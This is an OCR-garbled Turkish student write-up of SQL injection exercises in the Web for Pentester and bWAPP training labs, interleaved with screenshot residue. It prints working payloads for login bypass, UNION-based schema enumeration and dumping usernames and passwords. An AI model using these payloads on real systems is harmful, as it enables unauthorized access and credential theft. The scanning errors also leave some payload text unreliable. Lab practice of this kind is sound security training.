Web for pentester-1 ¢coziimlerim

SQLi Ornek 1: Gegen ctf de gérdiigiim ve klasik olan ‘1’ or ‘1 i deniyorum ve bana tiim
kullanicilar listeliyor.

rums & Kali NetHunter = Exploit-DB = Google Hacking DB

SQLi 6rnek 2: ayni seyi deniyorum ama olmuyor bu sefer yine ayni yoldan farkli bir sey
denemek istiyor ve aradaki bosluklari kaldiriyorum ve yine bana kullanicilari listeliyor.

r = Exploit-DB = Google Hacking DB

sQLi 3. érnek: Ornek 1 deki payload 1 deniyorum ve hata aliyorum. Deneme
yaparak root ile calistirabiliyorum.
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SQLi 6rnek 4: Kaynak kodda name parametresinin kalktigini gériiyorum bazi

payloadlar deniyorum ama bir ise yaramiyor. Arastirdiktan sonra

denediklerimden baska bir payload ile c6zime ulasiyorum.
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Sqli 6rnek 5: kaynak kodda integer kontroli yapildigini
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goriyorum. Buna gore kolay bir payload yapiyorum ve oluyor.
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Sqli 6rnek 6: yine sadece integer kontroli var.
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Sqli 6rnek 7: burada da htmlentities fonksiyonu kullanilmis
bunun nasil gecilecegini xss 6rneginde de gormustim ona
uyfgun bir payload hazirayarak ¢ozliyorum.
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BWAPP COZUMLERIM

SQLi ORNEK1: ‘ yazdigimda syntax hatasi veriyor sqli yi buradan
anliyorum sonra ‘ or’1’="1 yazdigimda verileri ¢ekebiliyorum.
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¢ ' Metin Diizenleyici
#  Basit Metin Diizenleyic

OffSec  KaliLinux @ KaliTools = K; N Kali Forums ¢ Kali NetHunter = Exploit-DB % Google Hacking DB

Bugs  Change Password  Create User  Set Security Level  Reset  Credis  Blog  Logout

/ SGL Injection (GET/Search) /

Search

Title Release Character Genre IMDb

OBEC

2009 John Connor sci Link

action Link

2011 e Link

action Link

Link

rcredible Hulk 2008 Bruce Banner action Link

serry Lane hon Link

‘UNION SELECT 1,2,3,4,5,6,7# sql payloadini yazdigimda kag tane kolon ve
hangilerinin gosterildigini gorebiliyorum.



Hangi veritabiyla yazildigini 6grenmek icin ‘UNION SELECT

1,database(),2,3,4,5,6,7 yazdigimda bwapp kullanildigini gértiyorim

Tablo isimlerini 6grenmek icin bu payloadi kullaniyorum ‘UNION SELECT
1,table_name,3,4,5,6,7 from information_schema.tables where
table_schema="bWAPP’#
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Simdi “UNION SELECT 1,column_name,3,4,5,6,7 from
information_schema.columns where table_name="users’# bu payloadu

kullanarak kullanicilara ait kolonlari listeliyorum
Son olarak ise ‘UNION SELECT 1,concat(login, :mehmet

./, password),3,4,5,6,7 from users# bu payload ile sifreleri ¢ekiyorum.



Titie Release  Character  Genre IMDb n
=

Bwapp 6rnek 2: Benzer olarak movie’ yaptigim zaman syntax hatasi veriyor
ve sqli anlasiliyor sonra ayni payload ile veri tabanini 6greniyorum.

/ SQL Ir\_}ecﬁor\ (GET/Select) /

vie: [G.1. Joe: Retaliation v|[Go

Title Release Character Genre IMDb

yntax to use near ™ at line 1

Simdi ise 1 UNION SELECT 1,table_name,3,4,5,6,7 from
information_schema.tables where table_schema="bWAPP’ LIMIT 0,1
payloadi ile users LIMIT 1,1 ile login kolonlarini 6greniyorum.



BemPor-

=] Firefox ESR
*
« ——
Offsec  Kalilinux @ KaliTools = KaliDocs ¥ Kali Forums X Kali NetHunter = Exploit-DB = Google Hacking DB
@ Choose your bug
Y p—— [T
Set your security level

low v | Set| Current: low

an ex+remely buaay web app !

Set Security Level  Reset

/ SGL Injection (GET/select) /

vie: [G.1. Joe: Retaliation v (6o

Title Release Character Genre IMDb

QBAEC

4 Link

i Docs Exploit-DB % Google Hacking DB
@ Choose your bug
....... [T T — |
Set your security level

low v | Set | Current: low

/ SQL Injecﬁon (GET/sSelect) /

vie: [G.1. Joe: Retaliation v (6o

Title Release Character Genre IMDb

QBAEC

Sonra ayni payload ile sifreyi cekiyoruz

SQLi 6rnek3: “ile yine syntax hatasi alip sqli yi tespit ediyoruz. Sonra ayni
payloadlar ile veritabanini 6greniyoruz.



/ SQL Infection (POST/S€earch) /

Search

Title Release Character Genre 1MDb

Yine ayni payload ile tablo adIrini 6greniyorum. Sonra yine ayni payload ile
user tablolarini ardindan da sifreleri cekiyorum.(ayni payloadlari tekrar

tekrar yazmak istemedim.)

SQLi é6rnek 4: POST metodu oldugu icin url ise yaramiyor burp kullanmam

gerekiyor.

Genel olarak ayni payloadlari kullanarak ¢6ziime gidiyorum ekran
goruntilerinde kullandigim kodlar gortinliyor o ylizden tekrar yazmiyorum.
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SQLi 6rnek-5: Baslangicta yazdigim harflere gére verilerin déndiigiini
goriyorum. Simdi yine ayni kodlar ile veritabanini 6grenip ondan sonra

veritabanina ait tablolari ¢ikariyorum.

Bundan sonra ayni payload ile user kolonlarini ¢ikariyorum onun
ardindanda ayni sifre payloadi ile sifreleri cekiyorum.

Bunda da ayni payloadlari kullanip sifreleri cekiyorum o ylizden

uzatmiyorum.
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SQLi 6rnek7: ‘or’1’="1 payloadini girise yazdiktan sonra direk giris
yapabiliyorum.
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Bunu da burpte gorebiliyorum ama o kismi ekran goriintlist almayi

unutmusum.



